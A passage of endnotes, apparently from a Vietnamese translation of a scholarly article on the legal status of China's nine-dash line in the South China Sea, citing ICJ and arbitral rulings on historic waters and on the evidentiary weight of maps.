R.O.C.’’ (1994) 12 American Asian Review 83.</div> <div> </div> <div> [30] ZHAO Guocai, ‘‘Analysis of the Sovereign Dispute over the Spratlys under the Present Law of Sea’’ (1999) 9 Asian Review at 22 (in Chinese), translated in Li and Li, supra note 4 at 293. Tuy nhiên, cần nêu rõ rằng không phải mại chuyên gia pháp lý Đài Loan đều ủng hộ các tiếp cận yêu sách vùng nước lịch sử dù có lập trường chính thức của chính phủ của họ. Xem ZOU Keyuan, ‘‘China and Maritime Boundary Delimitation: Past, Present and Future’’ in Amer and Zou, eds., supra note 15, at 160.</div> <div> </div> <div> [31] . See Andrea GIOIA, ‘‘Historic Titles’’ in Rudiger WOLFRUM, ed., The Max Planck Encyclopedia of Public International Law (Oxford: Oxford University Press, 2008), online: MPEPIL http:// www.mpepil.com.</div> <div> </div> <div> [32] Zou, supra note 33 at 152.</div> <div> </div> <div> [33] Juridical Regime of Historic Waters, Including Historic Bays, Study Prepared by the Secretariat, UN Doc. A/CN.4/143 (1962), (1962) 2 Yearbook of the International Law Commission 1 [Historic Waters Study].</div> <div> </div> <div> [34] Ibid., at 13. Nghiên cứu này còn nêu khả năng về một đòi hỏi thứ tư (biện minh “trên cơ sở nhu cầu kinh tế, an ninh quốc gia, lợi ích sống còn hay một căn cứ tương tự”) nhưng chưa có sự đồng thuận cao về đòi hỏi này. Tuy nhiên, ngưới ta cần phải hoàn thành danh sách này với một đòi hỏi tổng quát hơn rằng quền sở hữu lịch sử phải thật rõ ràng. Xem Ahmed ABOU-EL-WAFA, ‘‘Les différends internationaux concernant les frontières terrestres dans la jurisprudence de la Cour internationale de justice’’ (2010) 343 Collected Courses of the Hague Academy of International Law 9 at 397.</div> <div> </div> <div> [35] Zou, supra note 33 at 161 and references, supra note 25.</div> <div> </div> <div> [36] For a treatment of both positions, xem Historic Waters Study, supra note 36 at 16–19.</div> <div> </div> <div> [37] Xem, chẳng hạn,bằng tiếng Anh, Markus KOTZUR, ‘‘Intertemporal Law’’ in WOLFRUM, ed., supra note 24. Một phân tích chi tiết hơn bằng tiếng Pháp, xem Paul TAVERNIER, Recherches sur l’application dans le temps des actes et des règles en droit international public (problèmes de droit intertemporel ou de droit transitoire) (Paris: Librairie générale de droit et de jurisprudence).</div> <div> </div> <div> [38] See Hasjim DJALAL, ‘‘South China Sea Island Disputes’’ (2000) The Raffles Bulletin of Zoology</div> <div> (Supplement No. 8) 9.</div> <div> </div> <div> [39] Clive Ralph SYMMONS, Historic Waters in the Law of the Sea: A Modern Re-appraisal (Leiden: Nijhoff, 2008) at 17–37. Đưa ra một lập luận tương tự trên cơ sở công trình của Uỷ ban Luật quốc tế về dàn ý của công ước 1958 cũng như trên cơ sở UNCLOS, see Franckx, supra note 22 at 197, and especially note 50.</div> <div> </div> <div> [40] Lần duy nhất TQ được nêu liên quan tới yêu sách lịch sử của Liên Xô cũ đối với Vịnh Peter the Great (Symmons, supra note 42 at 144).</div> <div> </div> <div> [41] Tullio SCOVAZZI, ‘‘Book Review of ‘Historic Waters in the Law of the Sea: A Modern Re-appraisal by Clive Ralph Symmons, Leiden, Martinus Nijhoff, 322 pp., 2008’ ’’ (2010) 25 International Journal of Marine and Coastal Law 637 at 642. See also ibid., at 639–40 and in the same sense Symmons, supra note 42, at 242–5, 299–300. Continental Shelf (Tunisia/Libyan Arab Jamahiriya), [1982] I.C.J. Rep. 18 at 73–4:</div> <div> Không có định nghĩa về khái niệm lẫn nghiên cứu về chế độ pháp lý của ‘‘vùng nước lịch sử’’ hay ‘‘vịnh lịch sử’’. Tuy nhiên, có các quy chiếu về ‘‘vịnh lịch sử’’ hay ‘‘quyền sở hữu lịch sử’’ hay các lí lẽ lịch sử theo hướng tạo nên một bảo lưu cho các quy tắc xác lập từ đó trở đi. Vấn đề này dường như rõ ràng tiếp tục bị điều tiết bởi luật quốc tế chung, luật này không đưa ra một” chế độ” đơn nhất cho ‘‘các vùng nước lịch sử’’ hay ‘‘vịnh lịch sử’’, nhưng chỉ cho một chế độ đặc biệt cho mỗi trường hợp cụ thể đã được thừa nhận về “vùng nước lịch sử” hay “vịnh lịch sử”.</div> <div> </div> <div> [42] Lập luận này được đưa ra trong WU Fengbing, ‘‘Historical Evidence of China’s Ownership of the Sovereignty over the Spratly Islands’’ in China Institute for Marine Development Strategy, ed., Selected Papers of the Conference on the South China Sea Islands (Beijing: Ocean Press, 1992) at 111 (in Chinese), referenced in Zou, supra note 33 at 161, note 98.</div> <div> </div> <div> [43] Nói chung, xem Franckx, Benatar, Joe, and Van den Bossche, supra note 2. Nói cụ thể hơn về Biển Đông, xem NGUYEN Hong Thao, Le Vietnam et ses différends maritimes dans la Mer de Bien Dong (Mer de Chine méridionale) (Paris: Pedone, 2004) at 258.</div> <div> </div> <div> [44] Như đã nêu ở supra note 2, Vietnam gọi khu vực này là ‘‘Biển Đông’’ (‘‘East Sea’’). Xem National Border Committee under the Ministry of Foreign Affairs of Vietnam, online: National Border Committee www.biengioilanhtho.gov.vn/bbg-vie/home.aspx.</div> <div> </div> <div> [45] International Hydrographic Organization, Limits of Oceans and Seas, 3rd ed. (Monte-Carlo: Imp. Mone´gasque, 1953) at preface and 30, online: IHO http://www.iho-ohi.net/iho_pubs/standard/S-23/S23_1953.pdf. Old maps also use this denomination merely due to the fact that historically European navigators encountered predominantly Chinese ships. See Y. LACOSTE, ‘‘Mer de Chine ou mer de l’Asie du Sud-Est’’ (1981) 24 Hérodote at 13, referenced in Nguyen, supra note 46 at 257</div> <div> </div> <div> [46] Nguyen, supra note 46 at 257.</div> <div> </div> <div> [47] Republic of China (Taiwan), ‘‘Statement of the Ministry of Foreign Affairs concerning the Declaration on the Conduct of Parties in the South China Sea signed by the Association of Southeast Asian Nations (ASEAN) and the People’s Republic of China (PRC) in Cambodia on November 4, 2002’’ (5 November 2002), online: Ministry of Foreign Affairs http://www.mofa.gov.tw/webapp/ct.asp?xItem52357&ctNode51902&mp56:</div> <div> Chính phủ THDQ tái khẳng định chủ quyền lãnh thổ trên quần đảo Đông Sa (quần đảo Pratas), Tây Sa (quần đảo Hoàng Sa), Trung Sa (bãi cạn Macclesfield) và Nam Sa (Trường Sa) trong Biển Đông, Đối với các quần đảo này THDQ có tất cảquyền hợp pháp theo luật quốc tế;</div> <div> Republic of China (Taiwan), ‘‘The Position of the Ministry of Foreign Affairs on Taiwan’s Sovereignty over Islands in the South China Sea’’ (20 November 2007), online: Ministry of Foreign Affairs http://www.mofa.gov.tw/webapp/ct.asp?xItem527782&ctNode51903&mp56.</div> <div> Quần đảo Trường Sa, quần đảo Hoàng Sa, bãi Macclesfield và quần đảo Pratas luôn luôn là phần cố hữu của các vùng lãnh thổ Đài Loan, dù nhìn từ quan điểm của lịch sử địa lý, pháp luật quốc tế hay thực tế đơn giản. Theo các nguyên tắc của luật pháp quốc tế, chủ quyền đối với các quần đảo này của chính phủ Đài Loan là không thể nghi ngờ và Đài Loan hưởng tất cả các quyền tương ứng;</div> <div> Republic of China (Taiwan), ‘‘The Government of the Republic of China (Taiwan) Reiterates its Sovereignty over the Spratly Islands and has Proposed a Spratly Initiative that Focuses on Environmental Protection Instead of Sovereignty Disputes’’ (15 August 2008), online: Ministry of Foreign Affairs http://www.mofa.gov.tw/webapp/ct.asp?xItem532920&ctNode51903&mp56: </div> <div> Quần đảo Trường Sa, bao gồm cả rạn san hô Swallow (đảo san hô Layang-Layang), nằm trong vùng lãnh hải của Đài Loan. Dù theo quan điểm pháp lý, lịch sử địa lý hoặc luật quốc tế, quần đảo Trường Sa, quần đảo Hoàng Sa, quần đảo Macclesfield, quần đảo Pratas và các vùng nước lân cận là một phần của lãnh thổ và lãnh hải của Đài Loan;</div> <div> Republic of China (Taiwan), ‘‘Solemn Declaration of the Ministry of Foreign Affairs of the Republic of China concerning the Philippine Senate Bill 2699 and House Bill 3216’’ (6 February 2009), online: Ministry of Foreign Affairs http://www.mofa.gov.tw/webapp/ct.asp?xItem536914&ctNode51902&mp56:</div> <div> Dù từ góc độ lịch sử, địa lý, thực tế hay luật pháp quốc tế, quần đảo Trường Sa, quần đảo Hoàng Sa, quần đảo Macclesfield, quần đảo Pratas, cũng như các vùng biển xung quanh, là các vùng lãnh thổ hiện hữu của THDQ. Sự kiện rằng chủ quyền của các khu vực này thuộc về chính phủ của chúng tôi là không thể phủ nhận, Đài Loan được hưởng và xứng đáng với tất cả các quyền tương ứng. Bất kỳ yêu sách chủ quyền nào đối với, hoặc sự chiếm cứ, các quần đảo này và vùng nước xung quanh sẽ không được chính phủ THDQ thừa nhận.</div> <div> </div> <div> [48] Republic of China (Taiwan), ‘‘Declaration of the Republic of China on the Outer Limits of Its Continental Shelf, no 003’’ (12 May 2009), online: Ministry of Foreign Affairs http://www.mofa.gov.tw/webapp/content.asp?cuItem538077&ctNode51036&mp56.</div> <div> </div> <div> [49] Hasjim DJALAL, ‘‘Conflicting Territorial and Jurisdictional Claims in South China Sea’’ (1979) 7(1) The Indonesian Quarterly 36 at 41–2.</div> <div> </div> <div> [50] Robert W. SMITH, ‘‘Maritime Delimitation in the South China Sea: Potentiality and Challenges’’ (2010) 41 Ocean Development and International Law 214 at 224. Xem thêm GAO Zhiguo, ‘‘The South China Sea: From Conflict to Cooperation?’’ (1994) 25 Ocean Development and International Law 345 at 346: ‘‘nghiên cứu tỉ mỉ các tài liệu Trung Quốc cho thấy rằng Trung Quốc không bao giờ tuyên bố chủ quyền toàn bộ cột nước của vùng biển Biển Đông mà chỉ là các đảo và vùng biển xung quanh bên trọng đường này.’’ Xem thêm phát biểu của Wang Xiguang (Uông Hi Quang), người đã giúp Cục Địa lý Bộ Nội Chính trong việc chế tác các bản đồ trong những năm 1940 và dùng cùng một kỹ thuật nhưng đi đến một kết quả khác: ‘‘đường biên giới quốc qia chấm chấm được vẽ như là trung tuyến giữa TQ và các nước liền kề’’, trong XU Sen’an, ‘‘The Connotation of the 9-Dotted Line on the Chinese Map of the South China Sea’’ trong ZHONG Tianxiang, ed., Paper Selections of the Seminar on ‘‘The South China Sea in the 21st Century: Problems and Perspective’’ (Hainan Research Center of the South China Sea, 2000) at 80 (in Chinese), translated in Li and Li, supra note 4 at 290.</div> <div> </div> <div> [51] Dzurek, supra note 3 at 11.</div> <div> </div> <div> [52] Một quyển sách nói về cách giải quyết các vần đề này , xem Monique CHEMILLIER-GENDREAU, Sovereignty over the Paracel and Spratly Islands (The Hague: Kluwer Law International, 2000).</div> <div> </div> <div> [53] Anna RIDDELL and Brendan PLANT, Evidence Before the International Court of Justice (London: British Institute of International and Comparative Law, 2009) at 31.</div> <div> </div> <div> [54] Frontier Dispute (Burkina Faso/Republic of Mali), [1986] I.C.J. Rep. 554 at 582, para. 54.</div> <div> </div> <div> [55] Kasikili/Sedudu Island (Botswana/Namibia), [1999] I.C.J. Rep. 1045 at 1098, para. 84, nêu: “Tòa án sẽ bắt đầu bằng việc nhắc lại những gì mà Ban thẩm phán (Chamber) xử vụ tranh chấp biên giới (Burkina Faso / Cộng hòa Mali) phải nói về giá trị chứng cứ của bản đồ”; Tranh chấp lãnh thổ và biển giữa Nicaragua and Honduras trong biển Caribbean (Nicaragua v. Honduras), [2007] I.C.J. Rep. 659 at 723, para. 215, nêu: “Toà án tái khẳng định lập trường của họ trước đây liên quan đến phạm vi vô cùng hạn chế của bản đồ như là một nguồn về quyền sở hữu chủ quyền”; Tranh chấp biên giới (Benin/Niger), [2005] I.C.J. Rep. 90 at 119–20, para. 44, nêu: “nguyên tắc này [như mô tả trong tranh chấp biên giới (Burkina Faso / Cộng hòa Mali) cũng sẽ hướng dẫn Ban Thẩm phán trong việc đánh giá các bản đồ mà các Bên trong trường hợp hiện tại dựa vào”; Sovereignty over Pulau Ligitan and Pulau Sipadan (Indonesia/Malaysia), [2002] I.C.J. Rep. 625 at 667, para. 88; Maritime Delimitation and Territorial Questions between Qatar and Bahrain (Qatar v. Bahrain), Separate Opinion of Judge Kooijmans, [2001] I.C.J. Rep. 225 at 242, para. 68.</div> <div> </div> <div> [56] Patrick DAILLIER, Mathias FORTEAU, and Alain PELLET, Droit international public, 8th ed. (Paris: L.G.D.J., 2009) at 524, para. 301.</div> <div> </div> <div> [57] Một bàn luận về khả năng hạn chế này, xem Maurice KAMTO, ‘‘Le matériau cartographique dans les contentieux frontaliers et territoriaux internationaux’’ in Emile YAKPO and Tahar BOUMEDRA, eds., Liber Amicorum Judge Mohammed Bedjaoui (The Hague: Kluwer, 1999) at 371–98.</div> <div> </div> <div> [58] Riddell and Plant, supra note 56 at 266.</div> <div> </div> <div> [59] ZHAO Lihai, Studies on the Law of Sea (Beijing: Beijing University Press, 1996) at 37 (in Chinese), translated in Li and Li, supra note 4 at 291.</div> <div> </div> <div> [60] JIAO Yongke, ‘‘There Exists No Question of Redelimiting Boundaries in the Southern Sea’’ (2000) 17 Ocean Development and Management at 52 (in Chinese), translated in Michael STRUPP, ‘‘Maritime and Insular Claims of the PRC in the South China Sea under International Law’’ (2004) 11 Zeitschrift fu¨ r chinesisches Recht 1 at 16.</div> <div> </div> <div> [61] Zou, supra note 33 at 160.</div> <div> </div> <div> [62] Grisbadarna Case (Norway v. Sweden), Decision of 23 October 1909, [1910] 4 American Journal of International Law 226 at 231, nêu rằng: ‘‘lãnh hải là thứ phụ thuộc chính yếu của lãnh thổ đất liền’’ (translation from the original French, [2006] XI Reports of International Arbitral Awards 159); North Sea Continental Shelf (Federal Republic of Germany/Denmark; Federal Republic of Germany/Netherlands), [1969] I.C.J. Rep. 3 at 51, para. 96: ‘‘Trong cả hai trường hợp [vùng tiếp giáp lãnh hải và thềm lục địa] nguyên tắc được áp dụng là đất thống trị biển’’. Nghiên cứu sâu hơn và các trường hợp của nguyên tắc này, xem Abou-el-Wafa, supra note 37 at 88–90.</div> <div> </div> <div> [63] Fisheries Case (United Kingdom v. Norway), [1951] I.C.J. Rep. 116 at 132.</div> <div> </div> <div> [64] UNCLOS, supra note 12, has been ratified by all interested parties in the South China Sea dispute with the exception of Taiwan (Vietnam: 25 July 1994, PRC: 7 June 1996, Philippines: 8 May 1984,Malaysia: 14 October 1996, Brunei: 5 November 1996, Myanmar: 21 May 1996, and Thailand: 15 May 2011), online: UN http://www.un.org/Depts/los/reference_files/chronological_lists_of_ratifications.htm.</div> <div> </div> <div> [65] Ibid.</div> <div> </div> <div> [66] Một cách tiếp cận mới giới hạn đáng kể khả năng áp dụng ngoại lệ củaĐiều 121(3) đối với việc phân giới trên biển, xem Bernard H. OXMAN, ‘‘On Rocks and Maritime Delimitation’’ in Mahnoush H. ARSANJANI, Jacob Katz COGAN, Robert D. SLOANE, and Siegfried WIESSNER, eds., Looking to the Future: Essays on International Law in Honor of W. Michael Reisman (Leiden/Boston: Martinus Nijhoff, 2011), 893. Theo lý luận của tác giả, những tranh cãi liên quan đến ý nghĩa chính xác của việc cư trú của con người và đời sống kinh tế sẽ ít quan trọng hơn, bởi vì trong giai đoạn phân giới các đảo nhỏ thường chỉ đóng một vai trò nhỏ.</div> <div> </div> <div> [67] Alex G. Oude ELFERINK, ‘‘The Islands in the South China Sea: How Does Their Presence Limit the Extent of the High Seas and the Area and the Maritime Zones of the Mainland Coasts?’’ (2001) 32 Ocean Development and International Law 169 at 182. See also Marius GJETNES, ‘‘The Spratlys: Are They Rocks or Islands?’’ (2001) 32 Ocean Development and International Law 191 at 199–201; Barry Hart DUBNER, ‘‘The Spratly ‘Rocks’ Dispute: A ‘Rockapelago’ Defies Norms of International Law’’ (1995) 9 Temple International and Comparative Law Journal 291 at 299–306.</div> <div> </div> <div> [68] Nó liên quan đến những hành động do TQ thực hiện bởi để đưa vào các mục bổ sung cho chương trình nghị sự tại cuộc họp năm 2009 của các nước thành viên UNCLOS và kỳ họp lần thứ 15 của Cơ quan đáy biển quốc tế (ISA) một năm sau đó. Xem Erik FRANCKX, ‘‘The International Seabed Authority and the Common Heritage of Mankind: The Need for States to Establish the Outer Limits of Their Continental Shelf’’ (2010) 25 International Journal of Marine and Coastal Law 543 at 563–4. Những nỗ lực như vậy được lặp vào thời điểm Hội nghị của các nước thành viên UNCLOS năm 2011 nhưng không lặp lại tại cuộc họp lần của ISA khoảng một tháng sau đó.</div> <div> </div> <div> [69] Như chỉ rõ qua danh nghĩa đại diện của giáo sư Jia Yu, đưa ra trong một buổi báo cáo tóm tắt của ISA năm 2009. Mặc dù đóng góp này có tiêu đề là ‘‘Safeguarding the Common Heritage of Mankind’’(Bảo vể di sản chung của loài người) trong công bố cho báo chí của ISA (ISA, ‘‘Press Release SB/15/10’’ (June 2009) at 3, online: ISA http://www.isa.org.jm/files/documents/EN/Press/Press09/SB-15–10.pdf), các phim chiếu slides phân phát vào lúc đó tại buổi báo cáo tóm tắt lại có một tiêu đề cụ thể hơn, đó là ‘‘The Rock of Oki-no-Tori Shall Have No EEZ and Continental Shelf’’ (Mỏm đá Okinotori sẽ có EEZ và thềm lục địa mở rộng). Xem thêm Ted McDORMAN, ‘‘The South China Sea after 2009: Clarity of Claims and Enhanced Prospects for Regional Cooperation?’’ (2010) 24 Ocean Yearbook 507 at 514–15. Về chi tiết và các hành động sau này của các bên về mặt này, xem Yann-Huei SONG, ‘‘The Application of Article 121 of the Law of the Sea Convention to the Selected Geographical Features Situated in the Pacific Ocean’’ (2010) 9 Chinese Journal of International Law 663 at 671–4.</div> <div> </div> <div> [70] Indonesia, ‘‘Letter to the Secretary-General of the United Nations—480/POL-703/VII/10’’ (8 July 2010), online: UN http://www.un.org/depts/los/clcs_new/submissions_files/mysvnm33_09/idn_2010re_mys_ vnm_e.pdf. Sự liên kết giữa các hành động can thiệp này với Biển Đông được trình bày trong công hàm này như sau:</div> <div> Về mặt này, các phát biểu của các đại diện ưu tú của CHNDTH cũng liên quan đến tình hình ở Biển Đông và do đó thật đúng khi nêu rằng những thể địa lý rất nhỏhoặc ở xa xôi ở Biển Đông không xứng đáng được hưởng vùng đặc quyền kinh tế hay thềm lục địa của riêng mình. Cho phép sử dụng các mỏm đá, các rạn san hô và đảo san hô vòng không có người ở cô lập với đất liền và ở giữa biển khơi như một điểm cơ sở để tạo ra các khu vực biển gây quan ngại tới các nguyên tắc cơ bản của Công ước [1982] và xâm phạm lợi ích chính đáng của cộng đồng toàn cầu. Vì thế,như được chứng thực bởi những phát biểu trên, cái gọi là “bản đồ đường 9 chấm” rõ ràng thiếu cơ sở pháp lý quốc tế và đồng nghĩa với việc đảo lộn… Công ước 1982.</div> <div> </div> <div> [71] Xem bộ phận luật án lệ rộng hơn và ý kiến các học giả nêu trong Gérard NIYUNGEKO, La preuve devant les juridictions internationales (Brussels: Bruylant, 2005) at 322–35, and more recently Case concerning Pulp Mills on the River Uruguay (Argentina v. Uruguay), [2010] I.C.J. Rep. 1 at 52, para. 168.</div> <div> </div> <div> [72] Raphae¨le RIVIER, ‘‘La preuve devant les juridictions interetatiques à vocation universelles (CIJ et TIDM)’’ in Hélène Ruiz FABRI and Jean-Marc SOREL, eds., La preuve devant les juridictions internationales (Paris: Pedone, 2007), 9 at 38–48. More generally, judicial bodies select the facts they deem pertinent in a discretionary manner. Xem Jean SALMON, ‘‘Le fait dans l’application du droit international’’ (1982) 175 Collected Courses of the Hague Academy of International Law 261 at 300. For a critical approach to the freedom of judges with respect to weighing evidence, see Rudiger WOLFRUM, ‘‘Taking and Assessing Evidence in International Adjudication’’ in Tafsir Malick NDIAYE and Rudiger WOLFRUM, eds., Law of the Sea, Environmental Law and Settlement of Disputes: Liber Amicorum Judge Thomas A. Mensah (Leiden: Martinus Nijhoff, 2007), 341 at 342; Patrick KINSCH, ‘‘On the Uncertainties Surrounding the Standard of Proof in Proceedings before International Courts and Tribunals’’ in Gabriella VENTURINE and Stafania BARIATTI, eds., Liber Fausto Pocar—Diritti individuali e giustizia internazionale, vol. 1 (Milan: Giuffre`, 2009), 427 at 438–9; Chittharanjan F. AMERASINGHE, Evidence in International Litigation (Leiden: Martinus Nijhoff, 2005) at 232–61.</div> <div> </div> <div> [73] Mặc dù không có học thuyết về việc dựa vào tiền lệ (stare decisis) trong luật quốc tế, tòa và tòa án quốc tế thường trích dẫn luật án lệ. Điều này đặc biệt đúng đối với ICJ, là toà có tính tự tham chiếu cao độ và sẽ chỉ đi chệch khỏi án lệ trong quá khứ khi có các lý do đáng kể. Xem Alan BOYLE and Christine CHINKIN, The Making of International Law (Oxford: Oxford University Press, 2007) at 293–9; Gilbert GUILLAUME, ‘‘The Use of Precedent by International Judges and Arbitrators’’ (2011) 2 Journal of International Dispute Settlement 5 at 12.</div> <div> </div> <div> [74] Frontier Dispute, supra note 57 at 582, para. 55, nêu: ‘‘trọng lượng phân cho các bản đồ với tư cách bằng chứng phụ thuộc vào một số lớn các cân nhắc”; Qatar v. Bahrain, supra note 58, Dissenting Opinion of Judge Torres Berna´rdez at 274, para. 37, stating: ‘‘[t]he weight of maps as evidence depends on a range of considerations.’’</div> <div> </div> <div> [75] Xem Case concerning the Delimitation of Maritime Boundary between Guinea-Bissau and Senegal (Guinea- Bissau/Senegal), Decision of 31 July 1989, Dissenting Opinion of Mr. Mohammed Bedjaoui, [2006] XX Reports of International Arbitral Awards 119 at 166–9, paras. 32–7 (lập luận chống lại một chuyển vị tự động các nguyên tắc lãnh thổ sang phân định biển cho các khác biệt “hiển nhiên” và “không thể giảm hơn” về mặt địa lý, mối quan hệ của chúng với các quyền của các dân tộc và các quốc gia quyền đối với các vùng này); Lea BRILMAYER and Natalie KLEIN, ‘‘Land and Sea: Two Common Sovereignty Regimes in Search of a Common Denominator’’ (2001) 33 New York University Journal of International Law and Politics 703 at 703–4 (noting 15 </div> <div> </div> <div> [76] Xem các ví dụ về các vụ liên quan một phần đến các tranh chấp trên biển, supra note 58 citing a passage from Frontier Dispute (Burkina Faso/Republic of Mali) (which is a territorial case).</div> <div> 80. Island of Palmas Case (Netherlands v. U.S.A.), Award of 4 April 1928, [2006] II Reports of International Arbitral Awards 829 at 852–3 stating: ‘‘only with the greatest caution can account be taken of maps in deciding a question of sovereignty’’, reaffirmed in Nicaragua v. Honduras, supra note 58 at 58, para.</div> <div> </div> <div> [77] Island of Palmas Case (Netherlands v. U.S.A.), Award of 4 April 1928, [2006] II Reports of International Arbitral Awards 829 at 852–3 nêu: “Chỉ với sự thận trọng lớn nhất các bản đồ có thể được xét tới trong việc quyết định vấn đề chủ quyền”, reaffirmed in Nicaragua v. Honduras, supra note 58 at 58, para. 214; Territorial Sovereignty and Scope of the Dispute (Eritrea/Yemen), Decision of 9 October 1998, [2006] XXII Reports of International Arbitral Awards 209 at 296, para. 388, nêu: “như trong tất cả các trường hợp về bản đồ, bằng chứng phải được xử lý thât tinh tế”. For an opposing view calling into question the reluctant approach of international adjudicators vis-à-vis cartographic evidence, see Romulo R. UBAY Jr, ‘‘Evidence in International Adjudication: Map Evidence in Territorial Sovereignty Dispute Cases’’ (2011) 1 Aegean Review of the Law of the Sea and Maritime Law 287.</div> <div> </div> <div> [78] Arbitration Between Great Britain and Portugal as Regards Questions Relative to the Delimitation of their Spheres of Influence in East Africa (Manica plateau) (United Kingdom/Portugal), Decision of 30 January 1897, [2007] XXVIII Reports of International Arbitral Awards 283 at 298.</div> <div> </div> <div> [79] Indo-Pakistan Western Boundary (Rann of Kutch) between India and Pakistan (India v. Pakistan), Award of 19 February 1968, Proposal of Mr. Nasrollah Entezam, [2006] XVII Reports of International Arbitral Awards 1 at 505, nêu: “bản đồ chỉ bằng chứng phụ. Chỉ có bản đồ được chuẩn bị bởi người giám định ngay tại chỗ bằng cách quan sát mới là bằng chứng chính. Thầm chí chúng là bằng chứng chính chỉ cho những điều mà người giám định có thể tự mình quan sát”; Qatar v. Bahrain, supra note 58, Dissenting Opinion of Judge Torres Bernardez at 274, para. 37, nêu: “ nói chung, giá trị như là bằng chứng do toà và toà án quốc tế gắn cho chúng là có tính củng cố hay xác nhận cho các kết luận đã được rút ra từ các phương cách khác không dính dáng tới các bản đồ, vì các bản đồ như thế không có danh nghĩa pháp lý”; Island of Palmas, supra note 80 at 853–4, nêu: “dù sao đi nữa, bản đồ chỉ có khả năng đưa ra một chỉ định - và đó là một chỉ định rất gián tiếp - và trừ khi được kèm theo một công cụ pháp lý, không có giá trị của một công cụ như vậy, liên quan đến công nhận hoặc từ bỏ quyền”; ibid., at 853: Nếu trọng tài hài lòng về sự tồn tại của các sự kiện pháp lý có liên quan nhưng các sự kiện này lại mâu thuẫn với lời khai của những người vẽ bản đồ có nguồn thông tin không biết rõ, ông ta có thể sẽ không gán trọng lượng nào cho các bản đồ, tuy các bản đồ này rất nhiều và thường có thể được đánh giá cao.</div> <div> </div> <div> [80] Frontier Dispute, supra note 57 at 583, para. 56. Xem thêm The Government of Sudan/The Sudan People’s Liberation Movement/Army (Abyei Arbitration), Final Award of 22 July 2009, online: PCA http://www.pca-cpa.org at 256, para. 741:</div> <div> Toà án tương tự như vậy rất miễn cưỡng để cân bằng biên giới Đông và Tây của khu vực do Ngok Dinka chiếm đóng chuyển giao vào năm 1905 với mô tả bằng bút chì năm 1933 về khu vực chăn thả gia súc mùa khô của Ngok Dinka trên một bản đồ vẽ phác, đặc biệt là khi toà đã có bằng chứng toàn diện và cụ thể hơn.</div> <div> </div> <div> [81] Sakeus AKWEENDA, ‘‘The Legal Significance of Maps in Boundary Questions: A Reappraisal with Particular Emphasis on Namibia’’ (1990) 60 British Yearbook of International Law 205 at 212; A.O. CUKWURAH, The Settlement of Boundary Disputes in International Law (Manchester: Manchester University Press, 1967) at 224–5; Hyde, supra note 27 at 313–15; Victor PRESCOTT and Gillian D. TRIGGS, International Frontiers and Boundaries: Law, Politics and Geography (Leiden: Nijhoff, 2008) at 194–5; Durward V. SANDIFER, Evidence before International Tribunals, 2nd ed. (Charlottesville: University Press of Virginia, 1975) at 235; Guenter WEISSBERG, ‘‘Maps as Evidence in International Boundary Disputes: A Reappraisal’’, (1963) 57 American Journal of International Law 781 at 781.</div> <div> </div> <div> [82] E.g., Ian BROWNLIE, The Rule of Law in International Affairs: International Law at the Fiftieth Anniversary of the United Nations (The Hague: Martinus Nijhoff, 1998) at 156.</div> <div> </div> <div> [83] Manfred LACHS, ‘‘La preuve et la Cour internationale de Justice’’ in Chaı¨m PERELMAN and Paul FORIERS, eds., La preuve en droit (Brussels: Bruylant, 1981), 109 at 109.</div> <div> </div> <div> [84] Mức phù hợp trong bản đồ không cần phải luôn luôn là tuyệt đối, nhưng nó phải phù hợp trên tổng quát.. Abouel- Wafa, supra note 37 at 432–4.</div> <div> </div> <div> [85] Kasikili/Sedudu Island, supra note 58 at 1100, para. 87; see also Dubai/Sharjah Border Arbitration (Dubai v. Sharjah), Award of 19 October 1981, [1993] 91 International Law Reports 543 at 630, para. 168:</div> <div> Theo quan điểm của Toà án cần phải dẹp sang một bên cả hai bản đồ do ông Walker chuẩn bị, xét về vị trí của Hadlib Azana, vì, mặc dù được chuẩn bị bởi cùng một người, chúng lại mâu thuẫn lẫn nhau về đường ranh giới chung trong khu vực này. Suy đoán thêm về các lý do có thể có cho một mâu thuẫn như vậy là chuyện vô ích.</div> <div> Eritrea/Yemen Arbitration, supra note 80 at 296, para. 388:</div> <div> Các bằng chứng cho thời kỳ này bị vây bủa với các mâu thuẫn và sự không chắc chắn. Mỗi bên đã thể hiện sự không thống nhất trong các bản đồ chính thức của mình. Tuy nhiên, xu hướng chung là bằng chứng bản đồ củaYemen là vượt trội về phạm vi và khối lượng so với Eritrea. Tuy nhiên, trọng lượng như vậy có thể được gắn vào bản đồ bằng chứng ủng hộ của một bên được cân bằng bởi thực tế là mỗi bên đã công bố những bản đồ có vẻ đi ngược với khẳng định của mình trong các thủ tục tố tụng.</div> <div> Delimitation of the Border Between the State of Eritrea and the Federal Democratic Republic of Ethiopia (Eritrea-Ethiopia Boundary Commission), Decision of 1 January 2002, [2002] 41 International Legal Materials 1057 at 1089, para. 4.67:</div> <div> Bằng chứng bản đồ là không đồng nhất và nhất quán. Phần lớn hỗ trợ sự tồn tại của một phóng chiếu của Belesa và gán lãnh thổ bên trong nó cho Eritrea. Tuy nhiên, có nhiều bản đồ không làm như vậy, hoặc chỉ làm như vậy một phần</div> <div> </div> <div> [86] Tuy nhiên xem Separate World’s Geography (Chinese Ya Guang Geographic Publisher, 1951) at 18 (Bản dồ nước Cộng hoà), trong đó chỉ có khoảng nửa số vạch được thể hiện [bản đồ TQ 1951].</div> <div> </div> <div> [87] Xem Chinese State Bureau of Surveying and Mapping, Map World, online: Map World http://www.chinaonmap.cn. Bản đồ này được in lại một phần trong Phụ lục II ở cuối bài viết này.</div> <div> </div> <div> [88] Vì vậy, về mặt kỹ thuật hình như chính xác hơn khi nói đường chấm chấm với số vạch thay đổi, chẳng hạn như là đường 11/9/10-chấm. Tuy nhiên, vì cho tới nay đường 9 chấm là đường mà TQ dựa vào trên bình diện quốc tế để minh định lập trường của họ trong tranh chấp của quốc gia đối với quốc gia nên bài đóng góp này thường sẽ dùng khái niệm “đường 9 chấm”, trừ khi các đường với số chấm khác có ý nghĩa pháp lý.</div> <div> </div> <div> [89] Eritrea/Yemen Arbitration, supra note 80 at 295, para. 382.</div> <div> </div> <div> [90] Các vạch được TQ sử dụng để vẽ đường chữ U không phù hợp với các quy định kỹ thuật biểu đồ do Tổ chức Thủy văn Quốc tế đề ra dùng để chỉ ranh giới biển quốc tế, lãnh hải, vùng tiếp giáp lãnh hải, vùng đặc quyền kinh tế, thềm lục địa, khu thủy sản, vv. Xem International Hydrographic Organization, Regulations of the IHO for International (INT) Charts and Chart Specifications of the IHO, 4th ed. (Monaco: International Hydrographic Bureau, 2010) at B-440, C-407 (International Boundaries and National Limits), online: IHO http://www.iho-ohi.net/iho_pubs/standard/S-4/S4_v4.000_Sep10.pdf . Kiểu lập luận này đã được 